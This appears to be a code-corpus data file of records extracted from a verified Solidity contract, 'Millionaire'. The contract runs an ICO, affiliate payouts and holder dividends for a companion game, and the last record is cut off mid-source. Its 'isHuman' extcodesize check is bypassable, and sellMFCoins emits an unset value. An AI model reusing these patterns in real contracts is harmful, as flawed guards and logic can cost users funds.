uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | updateGenVaultAndMask | function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
| /**
* @dev updates masks for round and player when keys are bought
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
9298,
11105
]
} | 6,956 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | clearGenVaultAndMask | function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
| /**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
11212,
13180
]
} | 6,957 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
